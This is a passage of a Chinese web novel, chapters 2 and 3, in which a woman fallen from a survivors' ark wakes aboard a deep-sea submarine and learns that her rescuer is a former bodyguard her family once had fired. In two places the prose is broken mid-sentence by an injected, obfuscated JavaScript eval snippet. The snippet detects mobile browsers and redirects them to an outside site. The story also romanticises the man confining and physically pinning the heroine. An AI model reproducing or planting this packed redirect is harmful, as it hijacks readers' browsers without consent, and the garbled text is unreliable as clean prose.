《和八个男人在深海潜艇求生》 2. 第 2 章 她尿床了? 不! 她落水了。 失去意识前,苏娆觉得自己正在那片下着雪的黑海中慢慢结冰。 她以为自己死定了,但也许是她命不该绝,窒息之前,她被面前这个男人救了下来。 身上还穿着落水时穿的那件单薄衬衣,在房间温暖的空气里,衣服已经被烘干,只有发丝的根部,隐隐薄湿。 坐在他的床上,苏娆脑袋昏昏沉沉,皮肤因泡水而皱缩,不过除此之外,她的身体并没有其他不适。 这对于苏娆来说,简直是如同奇迹般的境遇。 而这个救她的男人,从着装上能够看得出,作为一名水手,他和她这个末世方舟上的乘客,有着本质的不同。 末世的生存法则里,船长是绝对的权力巅峰,其次是水手,再接下来是负责后勤工作的人员,有部分是从乘客的专业技术群体中挑选出来,对整座方舟进行辅助工作的原先的乘客,他们也能算作整个船员体系里的组成部分。 至于处于金字塔最底端的群体,自然是绝大多数的,占据99%数量比例的“无用之辈”,比原先社会的二八法则,还要残酷,当初登上方舟,获得通往末世的入场券,靠的全是之前的财富积累,但当末世将幸存者的地位残酷洗牌后,他们存在的意义和价值支撑他们被养着活下去的依托,正在摇摇欲坠。 所以,即便这个男人是苏娆的救命恩人,她的心里也不可避免地对他们多了一丝畏惧与防备。 按照她的推测,她多半是被救赎号附近的其他方舟上的船员救下来了。 这个男人穿着水手制服,但不是像救赎号那样的天蓝,而是黑色的,这代表他隶属于别的船长。 末世方舟不止一艘,早就不是什么讳莫如深的秘密。 早在上船之初,一阵强烈的海浪颠簸,猝不及防的苏娆在船舱里摔倒了,她以为马上就会有一场空前可怕的海啸来袭,大海的脾气,一向都很糟糕。 但等到远处灰暗的浪影近了,她才发现,那居然是一艘比救赎号还要大的方舟!方舟裹挟着奔腾的巨浪,差点把救赎号掀翻! 索性有惊无险,救赎号最终还是平稳地在海面上行驶着,直到她落水的那一天。带着惊魂未定的恐惧,当时,全船的乘客都屏气凝神,目送着那座更大的方舟,像一只生活在海面上的怪兽,扬长而去。 吨位,就是实力,方舟之间亦有差距。 在此后的日子里,救赎号也陆续碰到过几次别的方舟,有比它大的,也有比它小的。不过奇怪的是,无论是哪种,自始至终,方舟之间从未有过任何交流互动的行为,在海中擦肩而过,就权当彼此间,并不存在那样。 毕竟那个时候,末世才刚刚开始。 有了关于其他方舟的印象,苏娆理所当然地认为,这个男人所在的方舟,应该不大。 凭借零碎的印象,她在跌落海水之前,没有那种被狂卷的海浪撕扯成碎片的拉扯感,而是血液里冷到冒冰渣子一样,死一般宁静。 但不管怎么样,她活下来了,因为这个男人活下来,都是不可争辩的事实。 “谢谢你救了我。” 苏娆抬眼,将目光落到男人脸上,就像一只美丽却不自知的胆小蝴蝶,轻轻扇动翅膀。 不过,即便如此…… 哪怕这个男人大发慈悲救了她,而救赎号方舟上,已经出现了疑似“做人”这样的耸人听闻的恐怖事件,苏娆还是觉得,如果有机会,她还是想要回到救赎号上去。 由于各个方舟处于不同势力的组织管辖,每座方舟也只对自己的乘客负责。 而她在救赎号那里,有固定的座位。 苏娆将自己的想法告诉了男人,对方只停顿了不到两秒,然后—— “似乎不太行。” 他拒绝了她,用一种还算比较委婉的口吻。 被拒绝了,苏娆只剩下一丝余温的心,这回算是彻底凉透了。 男人拒绝她,她有一定的心理准备。 她昏迷了不知道多久,即便救赎号还在“原地”,随波逐流,但这座方舟却也不可能和它一样,在海中停下。 她想要回去,简直是痴人说梦。 可是,无论如何她都想象不到,她无法回到救赎号上的原因,不止是距离。 男人按下了遥控键,墙壁边的遮光窗帘,自动拉开。 在房间里白色的灯光映照下,那几个圆形厚实的玻璃窗户外,一片如墨的漆黑。 天黑了,雪还在下。 但下的是……绿色的雪? 刹那间,苏娆愣住了。 黑暗中零星闪烁的几点幽绿的荧光散发着不可抗拒的吸引力,促使好奇心爆棚的苏娆走到窗边一探究竟。 那是萤火虫吗? 双手贴着玻璃,就差把脸也贴上去。 那怎么可能是萤火虫!? 苏娆的眼睛瞪得大大的,一眨不眨。 气泡咕嘟咕嘟,伴随着游曳于黑暗中物体的移动,在她明媚的瞳孔倒映微弱的幽光。 她死死地盯着这些悠然从眼前游过的小东西。 它们是—— 大脑经过分析作出了判断,苏娆情不自禁地屏住了呼吸。 鱼。 - 就像以前去水族馆玩,隔着一道厚重的玻璃幕墙,观察海洋世界里的小鱼那样,她见到了游来游去的海鱼。 只不过这一次,她在缸里。 一艘潜水艇。 救她的男人,将她带回了“亚当号”。 而且,亚当号还不是一般的潜水艇。 位于房间门口的仪表盘,接近五位数的深度显示,这其实是一艘深海潜艇。 天哪!苏娆这辈子也想不到,她居然还有坐上潜水艇,来到深海观光的一天。 要知道,像是游船,再大一点的则是邮轮,民间资本只要有钱,建造这些船只都不成问题。 但是像潜水艇这样的东西,基本上都是军工产物。 有钱不行,还得有技术,哪怕钱和技术都有了,最后一道“资格”的坎,也不是寻常百姓能够挨得到的。 反正,在她所在的炎国,她是没听说过哪个老板,自己建造了一艘深海潜艇,神不知鬼不觉。 坐在餐桌旁,苏娆忽然感到一阵强烈的不安,不安冲淡了她看到深海鱼的惊喜以及置身深海的新奇体验感,取而代之的,是她对未来日子的隐忧。 末世之后,国界线模糊,就拿救赎号方舟来说,船上什么人种都有,而他们唯一的共通点就是,他们都是能买得起船票的有钱人。 不过,这些人后来变成了什么样,苏娆也看到了。 所以,她敏锐地意识到,眼前这个把她救回来,并且正在把一道道冒着滚烫热气的食物从餐盒里一一取出,放到餐桌上……推至她面前的男人,很有可能不是普通的水手! 他们是什么人?异国的军人?某个神秘的地下组织? 苏娆不知道,但有一点已经能够肯定,他们能拥有这样一艘从各方面,苏娆看起来都觉得很不错的潜水艇,属实令人感到不可思议。 尤其是厨房供应的菜色,相当不错! 苏娆的目光,从那些让人垂涎欲滴的海鲜大餐上一一掠过。 等到装在白瓷炖盅里的浓郁的橙红色浓汤就在她眼皮子底下时,她愣住了。 香气铺天盖地,将身体的支配权,重新交还给本能,这还是苏娆第一次发现,原来食物也能有把人掀翻的力量。 萦绕在鼻息间,浓汤的香气,带着霸道的势能,快要将她击晕。 这是番茄为基底食材的罗宋汤吗? 番茄,如果仅仅只是一种食物的话,那实在是太棒了。 苏娆的眼珠子都快掉到汤里了,但是,对于这个有可能会被添加进来的食材,浓汤并不欢迎。 别来,很挤了。 随着勺子的搅动,那些原本躲藏在汤里的小东西,无处遁形。 鱿鱼圈、蛤蜊、扇贝瑶柱……鲍鱼,它们被煮得很酥软,浑身散发着诱人的光泽。 苏娆完全能想象到,它们在进入自己的唇舌间,和牙齿碰撞,迸发出独属于海洋高蛋白食物Q弹的嚼劲时的感觉,该有多么美妙! 海鲜罗宋汤着实诱人,摆在餐桌上的其他海鲜大餐,烤生蚝、香煎鳕鱼、辣炒梭子蟹……也全都像美食动画片里画出来的那样,闪闪发光。 有多久没有吃过这样的食物,苏娆记不清了。 不过,即便腹部绞痛,饿得快要死掉,她也没有将早就舀了数遍的海鲜的勺子,放入口中。 “怎么了?” 见苏娆迟迟没有开动,坐在餐桌另一头的男人,不免心生疑惑,因为从表现上来看,她明明是很想吃的。 如此心手不一。 “是不合口味吗?”他问。 “为什么要救我?” 苏娆眉心微蹙,她忍得好艰难。 但凡这些食物,稍微差那么一点,她都控制不住自己! 可现在,正因它们太香,太美味,她才不敢轻举妄动。 在把问题弄清楚之前,和胃部绞痛一同在苏娆身体里翻涌的东西,是恐惧。 为什么? 男人救了她,还给她准备了这么丰盛的大餐。 即便食物的热度和香味都是她眼前的真实体感,苏娆依旧觉得此时此刻正发生在她身上的一切都宛如做梦一样虚假。 就像是巫婆用魔法变出来的食物,她咬上一口,就会变成石头和蟾蜍。 饥饿使她的大脑陷入混乱,苏娆甚至开始怀疑,她会不会已经死了呢?死在了末世来临后的第一个冬天,在冰冷的无边的海水里长眠,尸体慢慢被分解成养料,直至消失无踪。 但如果,这不是梦。 是真实发生的事,那就更可怕了。 天上不会掉馅饼,苏娆深知这一点,哪怕是在从前,所有看似免费的好处背后,都写满了代价。 而末世的残酷又让她每活着一天,情绪就多一分压抑,长期处于恐惧担忧的状态,被笼罩在生存危机阴影之中的她,安全感早就如浮萍飘零,没有抗压能力,一个浪打过来,顷刻间荡然无存。 那样一个她,惶惑无依,也自然而然不再相信,好运有一天会眷顾自己。 强行压下了食欲和埋藏于精神中的歇斯底里,她想从这个男人那里得到答案,得到一个她被他非救不可的答案。 但男人只是说, “救人一命胜造七级浮屠。” 很显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144313|196360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,他试图用这句万能的理由将他已经不单单是“善举”,简直是天使降临她身边的,对她进行真正的救赎的行为,强行淡化…… 不要在意。 用这个理由来支撑行动背后的逻辑,对男人来说,已经足够。 然而,这对于已经意识到这艘全是男人的深海潜艇里,只有她一个女人的苏娆,这样一个支撑行为逻辑背后的理由,远远不够。 在潜艇浮出水面换气的时候,他见到了她,于是,救下了她。 当时,因暴乱从救赎号方舟上落水的人,就像下锅的饺子, 他却只救了她!! “只是这样吗?” 他救她的原因,真的只是如他所说的那样……单纯吗? 脸色发白,嘴唇微微颤动,毫不夸张,苏娆快被她的猜想,吓死了。 因为在救赎号上曾亲身经历过,末世里蠢蠢欲动的种种暗示,就差明文成书的规则,不断挑战一个现代文明人的道德底线,所以苏娆清楚地知道,已经接受过验证,可被视作交换资源的她,在这种看似免费的好处背后,她实际上需要付出的代价,有多可怕。 如果,她还拥有去选择是否自愿交换的资格…… 苏娆神情惊恐,眼圈泛红,就像一只怎样都无法平静下来的应激了的小猫。 她在害怕。 此情此景,原本男人不想提及—— 良久。 一向没有过多表情的神色,松动。 的确,他救下她的目的,没有那么单纯。 至少不像那句话描述得那样,他是个会随意向遭受苦难的世人播撒爱心和怜悯的圣人,那样单纯。 “我们认识。” 终于,他开口了。 此言一出,突破口被找到,苏娆的心立刻提到了嗓子眼。 “我是黎光。”他说。 然而…… “黎光是谁?”苏娆不假思索。 事实上,她也没法思索了,只是出于本能地追问。 可是,就在她追问之后,房间里忽然陷入一阵诡异的寂静。 男人:“……” 又过了一会儿, 对方:“黎光是我。” 他刚才已经告诉过她了。 苏娆:“……” 沉默。 尴尬的沉默!! 一时间,两人谁都没有再说话,他们就这么对视,大眼瞪小眼。 到底还是男人先败下阵来,说不清是无奈,还是自嘲。 黎光的眼里,最后全是破防。 不会吧?这对吗? 原来,他的脸,他的名字,居然在她的记忆里,没有留下丝毫痕迹! 他本来还以为,给了她提示,哪怕能掀起一点水花? 没有,半点都没有。 他早该明白,在她苏醒后见到他的第一眼时,他就该明白,看着他的她,眼里除了惊慌与恐惧,再无其他情感的模样,早就预示了这样的结局。 “看来您真是一点也不记得我了……” 盯着苏娆,黎光面色阴沉, 正如他们从前身份鸿沟的天堑不可逾越,连他将他的名字告知于她之后,她的恐惧褪去后,取而代之的,却是惊讶与迷茫,无穷无尽的迷茫。 他在她心里,是那样微不足道, ——从未存在。 刹那间,黎光感到一阵窒息,从椅子上站起身,走到了苏娆身边。 看着他朝着自己走过来,苏娆的眼睛睁得圆圆的,那片氤氲在她瞳孔上湿润的雾,让她的神情,多添了几分无辜的楚楚可怜。 然而,正是这份好像他说的其实是别人的事,和她毫无关系的事那样的楚楚可怜,将身份两极反转后的上位者的怒火,一瞬点燃。 在她搭着手的餐桌上,撑着身体,黎光凑近她。 他那只粗糙的大手,就在她白皙细嫩的手边。 黎光突如其来的举动,让苏娆一下子变得万分紧张,这个男人靠得太近了! 她只要略微动一下,就会和他的身体接触,他简直把她禁锢在了她坐的这张餐椅上! 男人身上传来衣物洗涤后,留下的清新的肥皂水的味道。 呼吸间的热气,在她额前萦绕,将她的脸颊和耳根染红。 苏娆想逃,却完全不敢动弹,只能尽可能地贴近椅背,试图与他保持距离,那模样既羞赧又窘迫。 而简简单单一个动作,就把她逼到这种份上的始作俑者,黎光。 突然觉得好有意思。 是吗?她居然会是这么容易害羞的女人吗? 嘴角上扬,神色变得玩味, 可笑! 曾经他的仰望,如今,被他居高临下。 着实无法忍住报复的快感汹涌袭来,黎光伸出手,捻住了苏娆绯红脸颊边香软的发丝,绕在手指上。 他还想要汲取更多。 凑到她耳边,黎光揶揄地喊了一声, “大小姐,” 刹那间,这句蒙尘落灰的称谓穿越了时空,将记忆拉回多年前那个酷暑难耐的盛夏。 有什么东西正在心底死灰复燃。 迎着苏娆有些呆掉的神情,黎光笑着说, “你真好看。” 3. 第 3 章 因为好看,所以看了,有什么问题吗? 正如几年前的那个盛夏,刚刚警校毕业却入职保镖公司,前往当地最有钱的富人居住的苏家庄园工作,黎光意外见到了泳池边的苏娆。 那时候她的年纪还不大,可相貌中的美人风姿已经展现得淋漓尽致,站在阳光下,如同神话故事里的神祇,她整个人都在闪闪发光,美得让人移不开眼。 他一直在看她…… 过了好久才回过神,黎光连忙为自己对主人的无礼致歉。 可是太迟了。 第二天他等来的不是工作分配,而是解雇的人事通知。 不仅如此,履历上留下了永久的黑点,也意味着在这一行里,不会有人再选择雇佣他。 毕竟,谁会想要将一个对主人有觊觎之心的“下人”留在身边呢? 求职不顺,处处碰壁,可以说,这顿鱿鱼,炒得他那叫一个刻骨铭心。 后来,某个契机下,黎光远走他乡,在异国的海域上,当了一名水手。 除了生存,他也希望用这种远离尘世的方法来治愈他受到的创伤,忘却他曾遭受的不公。 在那段漂泊流离的日子里,他总在想…… 假如未来有一天他还能再见到她,他是不是该好好问问,他是对她做了什么伤天害理的事情,从而令她如此厌恶,厌恶到要毁掉他的地步——? 不过举手之劳。 毁掉他。 彼时,她是苏家的大小姐,而苏家则是他自小到大长大的城市的首富,他们的身份判若云泥,金钱带来权势加持让她即便是个小姑娘,动动手指,一句话,就能像碾死一只蚂蚁一样,让他永无翻身之日。 然而,世事无常,风水轮流转,世界的格局和规则,人类的命运,正在因即将撞上蓝星轨道,无法拦截的那颗小行星而改变。 黎光跟随的船长早在末世爆发之前,就带领他的船员,进入这艘名为亚当号的深海潜艇,一众人过着与世隔绝的生活。 这里应有尽有,物资储配能够船上的所有人生活一百年,再加上潜艇能任意去往海洋的各个地方,大海本就是自然的宝库,缺少的东西,都能从大海里获取。 所以,即便外面天翻地覆,人类灭亡,也与他们毫无关系。 黎光之所以能成为亚当号上的一员,活到今天,说实话,他还得谢谢她,谢谢她当初的蛮横霸道,赶尽杀绝。 但注定,他命不该绝。 故事讲完了,旁观者当作茶余饭后的闲谈,落在当事人身上,却是他亲身经历的一座山。 黎光本不想提起,这等同于向曾经霸凌他的人,撕开了他心上早已愈合,但始终无法消除的那道疤,将他的脆弱与无能,再次曝露于她面前。 为什么要逼他呢? 逼他把这些事说出来,逼他不得不告诉她,他为什么要救她。 既然如此,她就该承受,那层窗户纸被捅破的代价! “怎么不说话了,大小姐?” 黎光捏住了苏娆的下巴,看着她空洞的眼神,因他这个粗暴入侵边界的动作而震颤。 就像没入清冽湖水的月亮,倾泻月华。 那个瞬间,他亦无法否认,她仍旧具备,让他恍惚失神的力量。 也许,他一直没有变,但经历了末世的残酷,从曾经高高在上的云端跌落谷底的苏娆,哪还有当年嚣张跋扈的模样,在他的手心里,她乖顺得像一只没有爪子和牙齿的猫。 “哑巴了?” 然而,苏娆此时的乖顺愣怔却不是他想要的,他已经告诉了她真相,她难道还要对此无动于衷吗? 那可真是太让他失望了。 黎光的耐心不多,看她的眼神也变得越发不客气。 终于,一直作为这个故事的安静听众的另一名当事人,开口了。 “可是……” 苏娆咬住嘴唇,有些不确定,又有些害怕,她向此时正捏住自己下巴,在发怒边缘的男人发出疑问,“他很白啊。” 她口中的“他”,指得是回忆里那个看她的男人,而非黎光。 这也说明了在她的意识里,她始终无法将她记忆里,那个面容青涩,身材瘦长的小白脸,和眼前体型高大,强健精壮的黝黑糙汉,重叠在一起。 这怎么可能是同一个人呢?苏娆怎么也不敢相信。 原来还是记得的……? 这大概是黎光数不清的怨念中,唯一一丝欣慰。 “是的,我很白。”他承认。 曾经。 “跟你一样白。”比泡水泡了三天的死人还要白。 虽然他上的是警校,职业又是保镖,但一直以来,他都很在乎自己的形象,每天都会认真洗脸护肤, 这也正是当时的苏娆眼里,他看起来很显小的原因。 可他是去海上当水手,不是去棺材里当吸血鬼的啊……! 在大海上风吹日晒,历经艰辛,再怎么护肤也抵挡不了穿透云层没有遮挡的强烈紫外线以及海面反射的波光,已经被摧毁的皮肤屏障无法得到修复,以至于肤色只能永久停留在了小麦色。 他现在不白了,难道很奇怪吗? 黎光反问。 不奇怪。 但问题是—— “那我没能认出你,”已经改变了容貌的你。 垂下眼帘,苏娆轻轻地回,“很奇怪吗?” 在被开除之后,黎光做了什么事,又去了哪里,他的人生轨迹,她根本无从知晓。 黎光:“……” 道理是这么个道理,她说的没一点毛病。 理亏到哑口无言,自然得从其他方面找补,黎光发现了华点, 所以,她现在是在和他顶嘴吗? 还没等黎光回过味来。 “对不起。” 柔弱的声音响起,阻断了他的后路。 黎光对上了一双柔得像水一样的眼眸。 苏娆道歉了。 “都是我的错。” 她没有否认,当时害他丢掉工作被迫远走他乡的人,就是她。 但事情既然已经发生,过去了那么久,多说无益,在末世里,本着活在当下的全新人生信条,苏娆想要尽力为自己争取利益,面子自尊全都是不值一提的东西,再也没有苏家大小姐的架子,苏家现在也只剩下她一个人了。 她将身段放低再放低, “你能原谅我吗?” 蜷曲狭长的睫毛扑闪,仿佛下一秒就要哭出来了,盈盈的泪水却一直噙在眼眶,悬而未落。 楚楚可怜的破碎感异常凶猛,绑架了黎光的理智和躲藏在他心里的兽,令他怎么也生气不起来。 她都这么求他了,也认识到了自己的错误,(如果有的话),得饶人处且饶人,黎光深知,要是再揪着不放,那么他这个原本的受害人,倒像是变成了加害者。 况且,人与人之间看起来像是平等的,可实际上却会受到各种因素的制约。 大概还是有些大男子主义在作祟,黎光骨子里觉得,男人不该和女人过多计较。 而他不过年长她两三岁,海上岁月加速偷走青春,现在他看起来,得比她大上五六岁了。 那就更不能和她计较了! 难道他那么一个大男人,要去为难她这个小姑娘? 要脸吗? 最终,心里已经原谅苏娆的黎光,千言万语,也只能将丑陋的无法洗刷污点的过往和数百个海上孤寂日夜的愤懑不甘,汇集成了四个字。 “算我倒霉。” - 重新回到了自己的座位上,黎光坐在苏娆对面,看她用小勺子一点一点舀汤,然后一点一点慢慢吃饭。 这可真是一种折磨,看得黎光抓心挠肝。 照她这种吃饭的速度,他早八百年前就饿死了! 就这么一顿饭,他两口就吃完了。 对于苏娆来说,却是她吃得最快,最没有吃相的一集了! 只因自从上了亚当号,此时此刻,这一分这一秒,才是她最有安全感的时候。 她弄清了这个男人救她的原因,他认识她,救下她完全是下意识见到“熟人”的举动。 她不排除,当时的黎光会不会有一丝想要报复她的念头从脑海闪过,但那些都不再重要。 因为黎光身为男人,而且还是那种很男人的男人,在她那声甜甜的“黎哥”喊出口之后,整个人都不对劲了。 这样一个甚至还有点人设包袱的男人,是不可能自毁形象的。 但她不同。 她没有。 不过,这也不代表苏娆在对吃独食这件事上,能够那样心安理得。 黎光只是看着她,却不和她一起吃。 抬起头看着对面的男人时,苏娆的面颊微微泛红,现制食物的温暖与热度,让她长久以来苍白到几乎透明的脸,再次泛上明媚的气色。 如玫瑰花瓣般娇艳柔嫩的嘴唇,沾染着油渍,却比任何国际大牌唇彩的光泽,还要诱惑,让人想要品尝,她的味道。 不得不说,看美女吃饭也是一种享受,或许这就是传说中的秀色可餐吧。 黎光已然看得入神,苏娆的声音又将他拉回现实。 “你不吃吗?” 她温柔地望着他,温柔地问。 一瞬间,黎光懵了。 这还是苏娆吗? 她居然会关心他饿不饿……? 心就像被狠狠地揉了一下,黎光和她说话的声音,也变得柔软。 “等你吃完我再吃。” 只不过,这句话一说出口,对面的苏娆一下愣住了。 黎光的嘴角抽了抽,搞什么。 他怎么就这么把心理话,直接说出来了? 但是,还没等黎光为他那句“等她吃完他再吃”的话进行一番全新的诠释,刚才还沉浸在美食给人带来的幸福愉悦中的苏娆,居然将勺子放下了。 桌上的食物虽然多,可都是没有什么饱腹感的海鲜,而苏娆又饿了太久,她一个人就能把它们全部吃掉,吃光光。 可想而知,要是等到她吃完黎光再吃,对方估计只能喝她的剩汤,舔她的盘子了。 十分出乎意料。 “我饱了。”苏娆小心翼翼。 懂事得令人心疼。 黎光:“……” 环顾了桌上一圈,他站起身。 “骗你的,” 黎光面无表情,“我才不会吃你的口水!” 说完这句话后,他径直离开了客厅,只留下神情诧异又迷茫的苏娆。 不知过了多久…… 黎光从房间里出来了,而苏娆仍旧坐在餐椅上,像个被冷落的客人那样不知所措。 她朝他投去无助的目光,但黎光马上就要出门了,没空搭理她。 “我有事要出去一趟。” 他接到了一个临时命令,很急。 来不及多交代什么,黎光就从连接走廊和房间的那扇门出去了。 随着关门声响起的刹那,房间里就只剩下苏娆一个人。 她原以为自己一个人待着会害怕,可现实的情况却恰恰相反。 因身材体量,无形中会给人增加心理压力的男性离开了,苏娆顿时就像定身被解除一般,松了一口气。 她站起身来,忍不住打量起了她所在的这个地方。 这是一个两室一厅的公寓式套房,有独立的卫生间,除了睡觉的卧室,甚至还有一间书房。 整体面积虽然和苏娆在救赎号方舟上的住处差不了多少,但关键是,那是价值四张船票的家庭化住房,而这里,却只有黎光一个人住。 如果说,从前住在皇宫似的顶级豪华庄园里,苏娆每天都在“五百平米”的大床上醒来,无法体会空间的意义。 进入末世后,全世界所有幸存的人类全都挤在海上的方舟之中,终日待在狭小的船舱里,像密集排列的沙丁鱼罐头,苏娆才明白,拥有一个不被侵扰的个人领地,有多难能可贵。 况且……航行在海上的方舟和能够潜入深海的潜艇上的空间价值,根本就无法相提并论。 基于此点,苏娆不难判断,黎光应该不是普通的船员,至少是个核心骨干。 来到卧室隔壁的书房,一整面墙的书架和书桌都是木制的,但是做了防水处理。 海上航行的时光漫长而枯燥,没有什么娱乐的方式,看书则是最为简单直接的排解消遣。 这么多年下来,黎光养成了良好的阅读习惯,从书架上这些冒险书和漫画中就能看得出来,每个能耐得住寂寞的船员,血液里都流淌着自由的风。 黎光的书大部分都是探险类的世界名著,还有一些推理方面的书籍,但有一本不太一样,由于太过特殊,以至于苏娆一眼就看到了。 “《和八个男人在地底世界求生》……” 她有些好奇地将它从书架上拿下来,坐在黎光那张有个抽屉上了锁的书桌前,认真地看了起来。 专注时进入心流状态,时间过得很快。 但相同的时间流逝,对于黎光来说,却相当漫长。 尽管他已经以最快的速度完成了任务,连同行的同伴都忍不住彩虹屁, “你可真行啊,咱们又刷新了记录!!” 然而,只点了一下头,无暇顾及任务完成的庆功宴,换下潜水服的黎光,急匆匆地“回家”了。 “他人呢?” 庆功宴现场,本来应到的人不在,作为这艘深海潜艇的主人,亚当号的船长江厌问了一句。 虽然没有直言,但有眼睛的人都能看得出,黎光无故缺席重要的团建会议,领导不开心了。 于是,人缘一向还不错的黎光,立刻得到了迷弟们的奋力圆场。 “黎光哥说他困了,想好好休息一下。” 就这样,临走时p都没说的黎光,被编造出了一个怎样都无法被指摘的借口。 毕竟和平年代,航行在外,身体健康是最重要的。 “需要我去喊他过来吗?船长。” 另一个迷弟也帮衬。 江厌:“随他去。” -另一边- 长腿长脚,归心似箭的“丈夫”走路飞快。 没多久,黎光就回到了他居住的区域,结果也撞上了令他血液倒流的一幕。 他房间的门虚掩着,而距离门已经走出了十数步,差点就要走出居住区,进入前往中心长廊的那个娇小的身影是—— 苏娆见到黎光,眸目里都是惊喜。 “你回来了?” 总算回来了。 但是她的笑,却没有得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144314|196360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同等的回应。 胳膊被一股巨力禁锢,她整个人都在这股力的作用下,被牵扯着回了房间。 砰! 门在身后关上了。 肩膀一紧,抓住她的那双手滚烫,后背抵上冰冷坚硬的墙壁。 黎光将她按在了墙上。 此时此刻,这个男人就像完全变了一个人似的。 粗鲁、暴躁、无法自控。 眼睛因愤怒变得通红,可明明已经怒不可遏到了极点,却还是强行压低了嗓音,生怕有人听到似的, 眉头紧锁,黎光恶狠狠地质问苏娆, “谁让你出去的!?” 被这个男人按在墙上,苏娆就像恶狼利爪下的小白兔。 男人突然发了好大的火,看她的眼神,就差把她给生吞活剥了! 只因她被他撞见了,从他的房间离开,到了亚当号船员居住区域的走廊上。 她的行为在他眼里,简直罪大恶极! 但分明—— “你也没说不能——唔唔!” 故技重施,然后被预判了。 还没等苏娆把这句话说完,面颊一紧,唇部肌肉受到挤压,硬生生地让她把话又给咽了回去。 用两根手指制止了她继续发声,说那些他不爱听的话,也将她的嘴巴变成了嘟嘟唇。 可爱的嘟嘟唇,性感的嘟嘟唇…… “你的嘴巴(你的嘟嘟唇)应该用来好好吃饭,而不是和我顶撞。” 黎光咬着牙,先前真是被她给骗了! 她乖巧?她懂事? 完全不存在的。 他不敢相信,要是他晚回来一步,让亚当号上的其他船员看到苏娆,那后果该有多么可怕! 可是,即便他已经将失态升级到如此严重的程度,她的目光中却仍旧充满了委屈。 就好像……他欺负了她。 “再让我发现一次,” 没有办法,黎光只能下达最后通牒,“你就永远别回来了。” 宛如冷冽的寒风,刺骨的海水,将她浸透,浸入骨头的每个缝隙,将苏娆冻成木头,她木愣愣地望着黎光。 望着他严肃的神情,没有一丝通融。 这样一个他,无处不在表明,他没跟她开玩笑,如果她继续这么做,做他不允许的事,他真的会丢掉她! 而被丢掉后的她,没有落脚之处,在整艘艇里游荡的下场又是什么,苏娆不敢想象。 但她可以确定,绝对不会比现在……比就像被黎光幽囚在房间里,失去自由的小鸟,要好到哪里去。 黎光不允许她从他的房间里走出去,也不允许她见这艘艇上的其他人。 失去自由的补偿则是,她拥有一处安静整洁,不被打扰的潜艇房间,通过卧室那张床一侧的窗户,她还能看到潜艇经过之处的深海景观。 那是从前哪怕花费再多的钱,都不可能拥有的极限旅游体验。 更别说还有媲美海边星级酒店供应的海鲜大餐那样美味的菜肴,她也不用为食物发愁了,甚至相比从前,还多了不少娱乐消遣的方式。 因为在餐桌旁边不远处的客厅电视的电视柜下,她发现了不少游戏机的插卡,唯一美中不足的是,更新版本,永久停在了潜艇入水的那一天。 但是,在这个残酷可怕,连基础生存都受到极大威胁的末世里,如同来度假的她,还有什么不知足的呢? 寄人篱下就应该有寄人篱下的觉悟。 将黎光那句一直没有问出口的,她为什么要从房间里出去的原因的解释,一并消化。 苏娆看见了桌上始终没能收拾的盘子,被黎光放进了门旁墙体里的一个小门,顺着传送带,这些盘子全都回到了厨房。 而她原本想趁他回来之前,把房间收拾整齐,但不知道该去哪里清洗这些盘子,所以才出门的“冤屈”,也随着这些盘子的消失,再也没有能得到“平反”的一天。 为了缓解苏娆待在黎光给予她的安全庇护所里的对这种安全随时会被剥夺的焦虑,苏娆想做一些力所能及的事来对冲。 饶是从前配得感再强的人,经历了末世浩劫和船上的冷暖,这份会被所有人无条件宠爱的天真,也早就抹杀殆尽,只剩藏匿于麻木中的深深恐慌。 能在末世里存活下来,就逃不过残酷的利益交换,苏娆深谙这个道理。 自己虽然和黎光算是认识,但关系远没有好到能让她就这么心安理得地在他这里住下的地步。 更何况,其实远不算好。 他们有仇。 就在刚刚,他又对她发火了。 即便后来黎光不再计较她的“捣乱”,可她目前的境遇,与她能够一直处于这种境遇的资格,却始终像一把悬于头顶的达摩克利斯之剑,资格掌握在他人手中,随时会被剥夺的不确定感,令她惴惴不安。 主动出击,也好过被动承受。 只可惜,出师未捷,那么接下来,是对方的回合了。 她该有所付出,不是吗? 理应如此。 该来的总会来。 在这一天的晚些时候,临睡前—— 将换洗的衣服递过来,配以不带感情的三个字。 黎光用命令的口吻对她说, “去洗澡。” 他让她去洗澡,临睡前洗澡。 可他不是她的妈妈,是一个男人。 大家都是成年人,不至于连这点理解能力都没有。 这三个字背后的隐藏含义,不言而喻。 苏娆努力保持着平静,不让自己的表情太过失态。 将目光落到黎光递给她的衣服上,那是一件款式宽松的衬衣,男士衬衣。 这艘潜艇上没有女人,她是被他带上潜艇,不为他人所知道的唯一女人…… 所以,这里注定不会有适合她穿的衣服,那么,他给她穿自己的衣服,似乎也没有什么问题。 接过洗完澡要穿的换洗衣服,没有多言,在黎光的指示下,苏娆进入了卫生间。 门,关上了。 水声隐隐传来,隔着朦胧不清的毛玻璃,在氤氲的湿雾中,撩动着浮想联翩的心跳。 五分钟过去了…… 十分钟,半小时。 起初黎光没有在意,但不断流逝的时间使得他不得不去注意,这个女人洗澡的时间是不是太长了些? 掉进去了? 如果这样倒也还好,最怕的就是她在里面出什么意外。 黎光到了卫生间的门口。 刚抬起要敲门的手。 突然间,门开了。 伴随着从浴室中汹涌而出的温热雾气,是同样汹涌的迷人芳香。 